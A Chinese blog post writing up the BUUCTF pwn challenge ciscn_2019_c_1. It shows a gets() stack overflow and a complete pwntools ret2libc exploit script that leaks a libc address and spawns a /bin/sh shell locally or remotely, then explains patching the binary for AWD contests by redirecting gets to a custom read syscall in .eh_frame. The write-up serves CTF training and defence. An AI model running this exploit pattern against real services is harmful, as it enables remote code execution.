pwn patch ciscn_2019_c_1

解pwn

buuctf上的一道pwn题,原题的encrypt函数里存在gets导致的栈溢出,然后ret2libc搞定。

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

exp

from pwn import *
import sys
from LibcSearcher import LibcSearcher

# 根据参数决定是本地还是远程
argv_len = len(sys.argv)
if argv_len == 3:
    # 远程
    host = sys.argv[1]
    port = sys.argv[2]
    sh = remote(host,port)
else:
    sh = process("./pwn")

elf = ELF("./pwn")
libc = ELF("/home/zsc/Tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]

offset = 0x50+8

def enc(payload):
    sh.sendlineafter(b"choice!",b"1")
    sh.sendlineafter(b"encrypted",payload)

# gdb.attach(sh)
pop_rdi_ret = 0x400c83 # pop rdi ; ret
ret = 0x4006b9 # ret

payload1 = b'a'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
enc(payload1)
recv_data = sh.recvuntil(b"\nEEEEEEE",drop=True)
print(recv_data)
puts_addr = u64(recv_data[-6:].ljust(8,b"\x00"))
print("puts_addr==>",hex(puts_addr))
print("---------------------")
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system_addr = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
print("libc_base===>",hex(libc_base))
print("system===>",hex(system_addr))
print("bin_sh===>",hex(bin_sh))

payload2 = b"a"*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
enc(payload2)

sh.interactive()

patch修补

考虑到AWD赛制会对pwn题进行修补,以此题进行练手。

准备

ida版本为7.6 pro。
python版本3.10.11
需要安装keypatch的依赖库

pip install six keystone-engine

把GitHub上的keypatch.py文件拷贝到ida的plugins目录下,重启ida。
如果报错,就注意报错内容,一般是缺少某某模块,或者需要配置python版本而执行一下idapyswitch.exe,就目前来解决方法都在报错内容里,打开“输出窗口”需要按快捷键Alt+0,或者Windows-->Output window
keypatch安装成功后,会在Edit栏目的最下方或者Edit里的Plugins里找到。

在.eh_frame 段写入自定义汇编程序

主要关注一下gets函数的汇编代码

; 修补前
.text:00000000004009D1 48 8D 45 B0                             lea     rax, [rbp+s]
.text:00000000004009D5 48 89 C7                                mov     rdi, rax
.text:00000000004009D8 B8 00 00 00 00                          mov     eax, 0
.text:00000000004009DD E8 5E FD FF FF                          call    _gets
.text:00000000004009E2 E9 CD 00 00 00                          jmp     loc_400AB4

修补gets函数造成的栈溢出可以把它修改为自定义的read函数,然后控制读取长度。然而这里长度是不够的,没办法直接在这里修改——
修改成read函数要用到系统调用:

mov rax,0
mov rsi,rdi  ; s
mov rdi,0
mov rdx,0x30h
syscall
ret

我们可以修改call _gets为call上面我们自己定义的read函数,但明显.text段是不够位置进行增添的,因为直接添加代码会导致原有指令被覆盖,破坏程序的正常功能。但我们可以把上面的系统调用patch到.en_frame段。
于是修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序

ctrl+s选择.en_frame段进行跳转,选择一个起点进行自定义汇报程序的写入,然后在起点按下n重命名该地址,方便后面call这个程序。

命名后点击OK,可能会有弹窗:

继续OK即可。
然后从起始位置右键,选择下方的Keypatch-->Patcher

然后输入第一条汇编代码,keypatch会自动转成机器指令(opcode)

下方的两个勾选项分别为“填补nop指令直到下一条指令”和“保存原有的指令到注释里”,由于.en_frame段原本是没有指令的,所以也不需要填充nop,这里第一个选项可选可不选,第二个默认即可,方便查看修改前的内容是什么。
依次把自定义汇报代码填入后,来到call _gets那里。修改为call unk_400F60,由于修改前后的机器指令长度都是5字节,就不需要nop填充,也不会覆盖到后面的指令。

最后是保存patch后的二进制文件:Edit-->Patch program-->Apply patches to input file

根据需要选择是否保存备份(create backup),保存patch后,与修补前二进制文件同名的就是patch过的,如pwn2,而pwn2.bak(默认)则是未被patch过的备份。

en_frame段的执行权限

ida按快捷键ctrl+s查看段情况,.en_frame是没有可执行权限的,

这里显示的.en_frame是没有执行权限(X)的,但是在通过gdb调试程序时vmmap可以看到.en_frame段(0x400f58-0x40010f4)是可执行的:

当en_frame段没有执行权限时,一些文章说可以通过修改elf头来使其可执行,主要修改Type和Flags
修改前

修改后

但事实上,就这道题而言,这里改不改都没啥区别,自定义程序依然能跳转执行,而且修改后,ctrl+s查看的en_frame依然没有X权限。费解???

跳转回原来的执行流

通过劫持call跳转到了我们自定义的汇编程序,但是为了使原程序正常运行,还需要跳转回去。这里尝试了两种方式返回:jmpret。先说结论,这里jmp会使encrypt函数最终返回到一个奇怪的地址导致段错误,而ret正常。
使用jmp时,需要跳转到loc_400AB4,这原本是call _gets的下一条指令,但是跳转后会发现栈空间与原来的不一致,

mov rax,0
mov rsi,rdi  ; s
mov rdi,0
mov rdx,0x30h
syscall
jmp loc_400AB4

由于调用call时,会把下一条指令jmp loc_400AB4压栈,而自定义程序中又未涉及栈空间的修改,那么按照原本的逻辑,执行call _gets时,jmp loc_400AB4压栈,执行完gets函数后,执行流返回,指令jmp loc_400AB4的地址出栈赋予rip,然后执行jmp loc_400AB4,返回这一步就是ret的执行结果,所以我们在最后添加ret而不是jmp loc_400AB4

mov rax,0
mov rsi,rdi  ; s
mov rdi,0
mov rdx,0x30h
syscall
ret

![[汇编call指令]]

参考:
AWD中的patch技巧总结
【PWN】AWD 技巧
记fast_bin attack到patch的三种手法
二进制文件应急修复

posted @ 2024-06-19 11:07  叶际参差  阅读(22)  评论(0编辑  收藏  举报